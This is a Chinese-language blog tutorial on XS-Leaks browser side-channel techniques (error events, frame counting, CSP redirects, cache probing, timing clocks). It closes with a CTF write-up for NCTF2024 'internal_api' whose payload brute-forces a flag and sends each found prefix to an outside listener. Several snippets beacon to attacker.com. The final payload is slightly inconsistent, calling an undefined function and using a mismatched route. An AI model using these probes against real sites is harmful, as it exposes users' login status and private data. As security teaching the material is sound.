XSLeaks

拖了好久以至于我都忘了,刚好最近不知道学什么了就来回填个坑

前置参考文章:

引言 |XS-Leaks 维基

最有趣的前端旁路攻擊:XSLeaks(上) | Beyond XSS

跨站泄露 (XS-Leaks) - 安全 | MDN - MDN 文档

XSLeaks 技术利用-先知社区

nctf 2025 web wp - LamentXU - 博客园

NCTF2024/Web/internal_api at main · X1cT34m/NCTF2024

侧信道攻击

要想理解XSLeaks,就先了解一下什么是 侧信道攻击(side-channel attack) ,也就是旁路攻击,顾名思义,就是旁敲侧击的知道信息,比如著名的灯泡问题,就是有两个房间,房间之间有门阻隔,然后你所在的房间有3个开关,可以随机开关,对面房间有3个灯泡,现在要求通过开关这几个开关,接着只有一次机会够进入另一个房间再回来,要求回来之后要回答这三个灯泡分别对应哪个,仔细想想,如果是两个灯泡的话,当然只需要开一个开关被可以知道分别对应什么了,但是三个灯泡呢?

我们可以先打开一个开关10分钟,然后关掉,再打开另一个开关,此时直接进入房间,用手触摸灯泡,亮着的是刚打开的,有点温热的是打开10分钟的,没亮的另一个就是从来没开过的灯泡。

在这个问题中,除了通过灯泡的亮和不亮之外,还利用到了灯泡的负面效应(Side-Effect):温度,从而来推断灯泡的信息,这就是侧信道攻击,而将这种思路利用在前端上,就是XSLeaks

概念

XS Leaks(Cross-Site Leaks) 也称为跨站泄露,攻击者可以通过一系列技巧来获取目标网站或用户之间关系的信息,泄露的信息可能包括,例如:

  • 用户是否访问过目标网站
  • 用户是否已登录目标网站
  • 用户在该网站上的 ID 是什么
  • 用户最近在该网站上搜索过什么

举个例子,比如说这个网站:Social Media Login Detection - BrowserLeaks

当你点进去的时候,它会显示你登录过的网站(不过好像不太准),如下图:

它是怎么做到的呢?比如说有些网站有重定向功能,当你登录的时候正常访问 https://example.com/username,但是你没登录的时候就会重定向到 https://example.com/login,然后利用每个网站的特性编写一段payload,通过检测是否重定向到login,来确定你是否登录过了该网站(不过该检测网站肯定不像我说的这么简单)

接下来介绍几种XSLeaks的示例:

  • 使用错误事件泄露页面存在
  • 使用窗口应用进行帧计数
  • 使用CSP泄露重定向
  • 快取攻击(缓存探测 Cache Probing)
  • 元件泄露
  • 时钟

使用错误事件泄露页面存在

(与状态码XSLeaks类似)

首先,可以通过 onerroronload 来判断载入一张图片的时候是否成功

1
<img src="URL" onerror="alert('error')" onload="alert('load')">

而这里载入成功的判断条件不仅是状态码得是200才行,还有必须是一张图片,如果不是图片的话,就算状态码是200,也一样会触发 onerror 事件

但是对于 script 来说,只要状态码是200,无论是不是 JavaScript 内容,都会触发 onload,而不是 onerror,但是如果你的 JavaScript 程序执行的时候出错,那还是会报错

那么状态码有啥用呢?比如看下面这个:

1
2
3
const script = document.createElement("script");
script.src = "https://example.com/admin";
document.head.appendChild(script);

这段代码会向 https://example.com/admin 发送一个HTTP请求,如果用户曾登录过此网站,就会带一个cookie,并且这个请求的页面仅对登录过的用户有用,那么这个请求的成功或失败会揭示用户是否登录过

如果请求失败,就会触发 onerror 事件,成功就触发 onload 事件,从而来判断用户是否登录:

1
2
3
4
5
6
7
8
9
10
11
12
13
const url = "https://marblue.pink/admin";
const script = document.createElement("script");

script.addEventListener("load", (e) => {
console.log(`${url} exists`);
});

script.addEventListener("error", (e) => {
console.log(`${url} does not exist`);
});

script.src = url;
document.head.appendChild(script);

攻击者甚至可以通过迭代尝试加载页面,查看是否存在类似 https://marblue.pink/users/username 的页面,来发现用户的 ID

使用窗口应用进行帧计数

网站通常使用帧(或 iframe )。有一些情况下,网站会根据用户信息改变页面的帧数。例如,这可能发生在一个页面根据 GET 参数和受害者数据改变布局。攻击者可能通过测量不同页面 windows.length 的价值来推断受害者的信息

如果攻击者网站获取了包含目标网站的 Window 对象的引用,攻击者可以通过读取 window.length 属性来计算目标网站中的帧数

攻击者可以通过调用 window.open() 获取 Window 对象:

1
2
const target = window.open("https://example.org");
const frames = target.length;

或者是:

1
2
3
4
5
6
7
8
// Get a reference to the window
var win = window.open('https://example.org');

// Wait for the page to load
setTimeout(() => {
// Read the number of iframes loaded
console.log("%d iframes detected", win.length);
}, 2000);

或者,攻击者可以将目标网站嵌入到 iframe 中,并检索帧的 contentWindow 属性(对 contentWindow 返回的 Window 的访问受 同源策略 定义的规则约束。这意味着,如果 iframe 与父级同源,那么父级可以访问 iframe 的文档及其内部 DOM)属性:

1
<iframe src="https://example.org"></iframe>
1
2
const target = document.querySelector("iframe").contentWindow;
const frames = target.length;

使用CSP泄露重定向

在某些网站中,服务器会根据用户是否已登录(或在该网站上具有某种特殊状态)来重定向请求,或不重定向。例如,假设有一个网站,管理员可以在 https://admin.example.org/ 看到一个页面。如果用户未登录并请求此页面,则服务器可能会将他们重定向到 https://login.example.org/。这意味着如果攻击者可以确定尝试加载 https://admin.example.org/ 是否导致重定向,那么他们就知道用户是否是该网站的管理员,若是检测到某个用户是管理员,就可以定向对管理员进行攻击

在此描述的攻击中,攻击者使用 内容安全策略 (CSP) 功能来检测跨站请求是否被重定向:

  • 首先,他们创建一个由 CSP 管理的页面,该 CSP 只允许 <iframe>元素包含来自 https://admin.example.org/ 的内容
  • 接下来,他们在页面中添加一个事件监听器,监听 securitypolicyviolation 事件
  • 最后,他们创建一个 <iframe>元素并将其 src 属性设置为 https://admin.example.org/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!doctype html>
<html lang="en-US">
<head>
<meta
http-equiv="Content-Security-Policy"
content="frame-src https://admin.example.org/" />
</head>
<body>
<script>
document.addEventListener("securitypolicyviolation", () => {
console.log("Page was redirected");
});
const frame = document.createElement("iframe");
document.body.appendChild(frame);
frame.src = "https://admin.example.org/";
</script>
</body>
</html>
  • 如果用户以管理员身份登录,则 <iframe> 将加载,浏览器不会触发 securitypolicyviolation 事件
  • 如果用户未以管理员身份登录,服务器会重定向到 https://login.example.org/。由于此 URL 不受攻击者 CSP 的允许,浏览器将阻止 <iframe> 并触发 securitypolicyviolation 事件,攻击者的事件处理程序将运行

请注意,即使目标网站使用诸如 frame-ancestors等机制禁止嵌入,此攻击也有效

快取攻击

快照,也就是缓存,如果你有翻过你电脑有什么东西很占空间的话,很容易发现一个叫浏览器缓存的东西,比如说你平时登录一个网站,需要加载图片,第一次加载的时候可能是实时加载的,但是这次过后,浏览器就会在本地存一份,这样在你下次访问时,图片就可以更快加载,而不用看好久的转圈圈,这种快取机制在CPU中也有出现:L1,L2,以空间换时间,加快执行速度

那么快取攻击的手法就是利用一个东西是否在快取中来回推原本的资讯

现如今有一个网站在登录的时候会显示一张欢迎页面,上面有一张欢迎图片为 welcome.png,没登录的话就看不到,登录过后,这张图片就会被浏览器缓存下来

由于缓存过后下一次加载就比较快,所以我们只需要试着开启页面之后,检测载入 welcome.png 的时间,这样就能知道图片是否在快取中,进而知道用户有没有登录此网站

下面有个例子:

在疫情严重的时候,许多政府都做出了自己的App或是网站,用来统一回报身体状况等等,而波兰也不例外,政府推出了 ProteGo Safe 的网站,让人民可以在这上面回报状况或是查看最新信息等等

而根据回报状况的问卷,会出现四种结果:

  1. High
  2. Medium
  3. Low
  4. Very low

同时,根据结果的不同,页面上也会搭配不同的图片(就称之为 high.png 与这样以此类推),例如说最低风险就是一个你很安全的图标之类的

而作者就根据了这一点,从加载图片的时间去侦测出用户目前回报的身体状况。 如果装入 high.png 的时间最快,就代表用户目前的状况是 high,用来侦测的代码如下:

1
2
3
4
<img src="https://example.com/high.png">
<img src="https://example.com/medium.png">
<img src="https://example.com/low.png">
<img src="https://example.com/very_low.png">

而每一张图片加载的时间则是可以用 performance.getEntries() 取得,就能得知哪一张加载最快

img

(图片来源:最有趣的前端旁路攻击:XSLeaks(下) | Beyond XSS

不过这次攻击过后,浏览器已经将所有图片缓存了,下次打开所有等级的图片加载时间都差不多,就判断不出来了,那怎么办呢?所以我们要想办法把快照删除

已知当浏览器收到的状态码是错误的时候(4xx或者5xx)的时候,就会把快取清理掉,那我们要怎么让 https://example.org/high.png 的回应是错误的呢?

如果有些网站用的是CloudFlare并且存在WAF的话,就会将一些恶意的payload给拦截下来,并且回传错误的状态码,这时你的浏览器快照就会被删除,比如说我加入 /etc/passwd

1
2
3
4
5
fetch(url, {
cache: 'reload',
mode: 'no-cors',
referrerPolicy: 'https://example.com/high.png?/etc/passwd'
})

但是你如果想,要是有一个高性能的网站,它加载图片很快,可以在没有缓存的情况下所有图片的加载时间的几乎相同,这样就难以分辨信息,怎么办呢?

可以使用 error event 来判断是不是在快取中

假设有一个 https://marblue.pink/search?q=abc 的页面,会根据搜索结果呈现不同画面,如果有搜索到东西,https://marblue.pink/aaa.png 就会出现 ,没搜索到的话就不会有这张图片

首先要把原先的快取给清除,除了上面讲的方法之外,也可以发一大坨request来强制让服务器会传错误,根据之前的理论,此时快照将会被删除

第二步就是访问目标网站,如果有搜寻到东西,那就会出现并写进浏览器的快取

最后一步就是将网址弄得很长,然后再加载图片:

1
2
3
4
5
6
7
8
9
10
11
12
// 程序改写自 https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels#cache-and-error-events
let url = 'https://marblue.pink/aaa.png';

history.replaceState(1,1,Array(16e3));
let img = new Image();
img.src = url;
try {
await new Promise((r, e)=>{img.onerror=e;img.onload=r;});
alert('Resource was cached');
} catch(e) {
alert('Resource was not cached');
}

如果图片没有在快取中,浏览器就会去拿图片,但是因为request太长,所以回传错误,触发 onerror 事件,如果图片在快取中的话,浏览器就会直接读缓存中的图片,而不会去发送request请求,从而触发 onload 事件

除了这种request大坨的错误回应方式,可以利用 原点反射 来获取信息

原点反射是一种行为,即为全局可访问的资源提供一个 访问-控制-允许-起始(ACAO) 头部,其值反映初始化请求的起点。这可以被视为CORS配置错误可以用来检测该资源是否存在于浏览器缓存中

如果一个资源在 server.com 上,然后可以接收 target.com 上的请求,那么请求头上就会有这么一句话:

1
Access-Control-Allow-Origin: target.com

如果这个资源在缓存中,这些信息会与资源一起存储在浏览器缓存中。因此,target.com 如果尝试获取相同的资源,有两种可能的场景:

  • 资源不在缓存中:这些资源会被读取然后和 Access-Control-Allow-Origin: attacker.com 一起被缓存起来
  • 资源在缓存中:浏览器会尝试从缓存中读取这些资源但是它会产生一个CORS(跨站资源共享)的错误,因为ACAO原本只允许匹配 target.com 但是现在却是出现了 attack.com

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// The function simply takes a url and fetches it in CORS mode.
// If the fetch raises an error, it will be a CORS error due to the
// origin mismatch between attacker.com and victim's IP.
function ifCached(url) {
// returns a promise that resolves to true on fetch error
// and to false on success
return fetch(url, {
mode: "cors"
})
.then(() => false)
.catch(() => true);
}

// This makes sense only if the attacker already knows that
// server.com suffers from origin reflection CORS misconfiguration.
var resource_url = "server.com/reflected_origin_resource.html"
var verdict = await ifCached(resource_url)
console.log("Resource was cached: " + verdict)

当然,避免这个最好的方法就是设置为 Access-Control-Allow-Origin: *

另外,还可以将 fetchAbortController 相结合,既检测资源是否缓存,也能从浏览器缓存中驱逐特定资源。该技术的一个优点是探测过程中不会缓存新内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
async function ifCached(url, purge = false) {
var controller = new AbortController();
var signal = controller.signal;
// After 9ms, abort the request (before the request was finished).
// The timeout might need to be adjusted for the attack to work properly.
// Purging content seems to take slightly less time than probing
var wait_time = (purge) ? 3 : 9;
var timeout = await setTimeout(() => {
controller.abort();
}, wait_time);
try {
// credentials option is needed for Firefox
let options = {
mode: "no-cors",
credentials: "include",
signal: signal
};
// If the option "cache: reload" is set, the browser will purge
// the resource from the browser cache
if(purge) options.cache = "reload";

await fetch(url, options);
} catch (err) {
// When controller.abort() is called, the fetch will throw an Exception
if(purge) console.log("The resource was purged from the cache");
else console.log("The resource is not cached");
return false
}
// clearTimeout will only be called if this line was reached in less than
// wait_time which means that the resource must have arrived from the cache
clearTimeout(timeout);
console.log("The resource is cached");

return true;
}

// purge https://example.org from the cache
await ifCached('https://example.org', true);

// Put https://example.org into the cache
// Skip this step to simulate a case where example.org is not cached
open('https://example.org');

// wait 1 second (until example.org loads)
await new Promise(resolve => setTimeout(resolve, 1000));

// Check if https://example.org is in the cache
await ifCached('https://example.org');

元件泄露

一些HTML元素可能用于向交叉来源页面泄露部分数据。 例如,以下媒体资源可能会泄露其规模、持续时间和类型等信息

  • HTMLMediaElement 泄露媒体资源的 持续时间缓冲时间
  • HTMLVideoElement 泄露视频的长宽, 一些浏览器也会有 webkitVideoDecodedByteCount(获取HTML5的媒体元素<video><audio>), webkitAudioDecodedByteCount(监测音频数据总字节数) and webkitDecodedFrameCount(监测视频帧)
  • getVideoPlaybackQuality() 泄露全部视频帧
  • HTMLImageElement 泄露图片的宽高,但是图片如果是非法的就会返回0并且 image.decode() 将会出错(Reject)

    从上可以知道,我们是可以通过每个媒体的特定标签来判断不同媒体类型的,比如可以用 videoWidth 来判断是不是一个 <video>,用 duration 来判断是不是一个 <audio>,下面就是一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
async function getType(url) {
// Detect if resource is audio or video
let media = document.createElement("video");
media.src = url;
await new Promise(r=>setTimeout(r,50));
if (media.videoWidth) {
return "video";
} else if (media.duration) {
return "audio"
}
// Detect if resource is an image
let image = new Image();
image.src = url;
await new Promise(r=>setTimeout(r,50));
if (image.width) return "image";
}

滥用CORB

CORB 是Chrome用来判断错误的响应类型的,如果错误了,就会返回空的响应,这意味着,如果一个类型是错误的,他就没有缓存,然后这里就有一个判断是否缓存的函数:ifCached

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
async function isType(url, type = "script") {
let error = false;
// Purge url
await ifCached(url, true);
// Attempt to load resource
let e = document.createElement(type);
e.onerror = () => error = true;
e.src = url;
document.head.appendChild(e);
// Wait for it to be cached if its allowed by CORB
await new Promise(resolve => setTimeout(resolve, 500));
// Cleanup
document.head.removeChild(e);
// Fix for "images" that get blocked differently.
if (error) return false
return ifCached(url);
}

滥用getComputedStyle

getComputedStyle 可用于读取嵌入当前页面的 CSS 样式表。包括来自不同来源的。 这个功能只是检查一个页面的 <body> 上是否应用了样式:

1
2
3
4
5
6
7
8
9
10
11
12
async function isCSS(url) {
let link = document.createElement('link');
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = url;
let style1 = JSON.stringify(getComputedStyle(document.body));
document.head.appendChild(link);
await new Promise(resolve => setTimeout(resolve, 500));
let style2 = JSON.stringify(getComputedStyle(document.body));
document.head.removeChild(link);
return (style1 !== style2);
}

PDF

有时候 Open URL Parameters 允许对内容进行一定的控制,比如说 zoom, view, page, toolbar, nameddest. 对于Chrome来说,一个PDF文档由于被嵌入到了页面中,所以可以被帧计数检测到, Chrome还是实现了PDF脚本API,用来确认帧是否为PDF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
async function isPDF(URL) {
// Open to target
let iframe = document.createElement('iframe');
iframe.src = URL;
document.body.appendChild(iframe);
// Wait about 1.5 secounds to let the page load.
await new Promise(resolve => setTimeout(resolve, 1500));
// For Chrome a window opened to a pdf will always be 1.
if (iframe.contentWindow.length !== 1) return false;
let pdf;
window.addEventListener("message", e => {
// Detect if received a message from the Chrome PDF viewer.
if (e.origin === 'chrome-extension://mhjfbmdgcfjbbpaeojofohoefgiehjai') pdf = true;
});
// Needed to start getting messages from the Chrome PDF viewer.
iframe.contentWindow[0].postMessage("initialize", "*");
// Wait for response from the Chrome PDF viewer.
await new Promise(resolve => setTimeout(resolve, 1500));
return pdf;
}

也可以利用API来执行一些可以泄露文档内容的行为: getSelectedTextselectAllprintgetThumbnail

1
2
let w = open(URL);
w[0].postMessage({type: 'print'}, "*");

为了防止跨域请求泄露文档内容,对于跨域加载的 PDF,API 的响应事件应被严格限制,只允许返回 documentLoadedpasswordPrompted 两种通用状态信息

标签

当页面上包含跨来源脚本时,无法直接读取其内容

然而,如果脚本使用了内置函数,可以覆盖它们并读取其参数,这可能会泄露有价值的信息

1
2
3
4
5
let hook = window.Array.prototype.push;
window.Array.prototype.push = function() {
console.log(this);
return hook.apply(this, arguments);
}

当不能用 Javascript 时

即使禁用了JavaScript,仍可利用 <object> 标签的 fallback 机制探测跨域资源的响应状态

  • 加载成功(200 OK):渲染资源内容,忽略内部 fallback
  • 加载失败(404/500):渲染 fallback 内容(标签内的 HTML)

如下例子:<object data="//attacker.com/?error"></object> 只有在资源返回错误的时候才会被渲染

1
2
3
<object data="//example.org/404">
<object data="//attacker.com/?error=404"></object>
</object>

也可以:

1
2
3
<object data="https://example.org/404">
<div style="background: url('https://attacker.com/?error=404')"></div>
</object>

时钟

时钟攻击(Clock Attack) : 利用高精度时间测量作为侧信道,通过观察目标网页的响应时间差异,间接推断出用户的敏感状态或私有信息

类型 API 示例 特点
显式时钟 performance.now() 微秒级精度,直接测量
隐式时钟 SharedArrayBuffer, requestAnimationFrame, CSS 动画 间接构造计时器,绕过限制

显式时钟:

1
2
3
4
5
6
7
8
9
10
11
const start = performance.now();

fetch('https://target.com/private-page', {mode: 'no-cors'});

const duration = performance.now() - start;

if (duration > 200) {
console.log('Page Exists');
} else {
console.log('Page does not Exist');
}

隐式时钟:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// Define a function to be ran inside a WebWorker
function worker_function() {
self.onmessage = function (event) {
const sharedBuffer = event.data;
const sharedArray = new Uint32Array(sharedBuffer);

// Infinitely increase the uint32 number
while (true) Atomics.add(sharedArray, 0, 1);
};
}

// Create the WebWorker from the JS function and invoke it
const worker = new Worker(
URL.createObjectURL(
new Blob([`(${worker_function})()`], {
type: "text/javascript"
}))
);

// Create a Shared buffer between the WebWorker and a document
const sharedBuffer = new SharedArrayBuffer(Uint32Array.BYTES_PER_ELEMENT);
const sharedArray = new Uint32Array(sharedBuffer);
worker.postMessage(sharedBuffer);

至于时钟攻击下的其他分布,我打算等遇到了再来

CTF

至于在CTF中,比如NCTF2024的internal_api:

首先可以看到 main.rs 中有用到flag的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let db_name = env::var("DB_NAME")?;
let json_name = env::var("JSON_NAME")?;
let flag = env::var("FLAG")?;

let pool = db::init(db_name, json_name, flag)?;
let app = Router::new()
.route("/", get(route::index))
.route("/report", post(route::report))
.route("/search", get(route::public_search))
.route("/internal/search", get(route::private_search))
.with_state(Arc::new(pool));

然后这边给了一大串的路由,我们可以去 route.rs 看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pub async fn public_search(
Query(search): Query<Search>,
State(pool): State<Arc<DbPool>>,
) -> Result<Json<Vec<String>>, AppError> {
let pool = pool.clone();
let conn = pool.get()?;
let comments = db::search(conn, search.s, false)?;

if comments.len() > 0 {
Ok(Json(comments))
} else {
Err(anyhow!("No comments found").into())
}
}

pub async fn private_search(
Query(search): Query<Search>,
State(pool): State<Arc<DbPool>>,
ConnectInfo(addr): ConnectInfo<SocketAddr>,
) -> Result<Json<Vec<String>>, AppError> {
// 以下两个 if 与题目无关, 你只需要知道: private_search 路由仅有 bot 才能访问

// 本地环境 (docker compose)
let bot_ip = tokio::net::lookup_host("bot:4444").await?.next().unwrap();
if addr.ip() != bot_ip.ip() {
return Err(anyhow!("only bot can access").into());
}

// 远程环境 (k8s)
// if !addr.ip().is_loopback() {
// return Err(anyhow!("only bot can access").into());
// }

let conn = pool.get()?;
let comments = db::search(conn, search.s, true)?;

if comments.len() > 0 {
Ok(Json(comments))
} else {
Err(anyhow!("No comments found").into())
}
}

可以看到这里的 public_search 里从 /search 中接受一个 s 的GET参数

/internal/search 路由仅允许 bot 访问, 同时其 db::search 的第三个参数传入了 true, 代表允许搜索 hidden comments (flag)

如果能搜到 comments, 返回 OK() (200), 否则返回 Err() (500),这就是一道很经典的XSLeaks的题目(利用状态码)

可以有以下payload:

/templates/index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>Hello World</h1>
</body>
</html>

<script>
let dicts = 'abcdefghijklmnopqrstuvwxyz0123456789-{}';

function exp(flag) {
let url = "http://web:8000/internal?search=" + flag;
script = document.createElement('script');
script.src = url;
script.onerror = function() {
fetch('http://host.docker.internal:8001/?flag=' + flag, { mode: 'no-cors' });
leak(flag);
script.remove();
};
script.onload = () => script.remove();
document.head.appendChild(script);
}

function leak(flag) {
for (let i = 0; i < dicts.length; i++) {
let char = dicts[i];
probeError(flag + char);
}
}

leak('nctf{');

</script>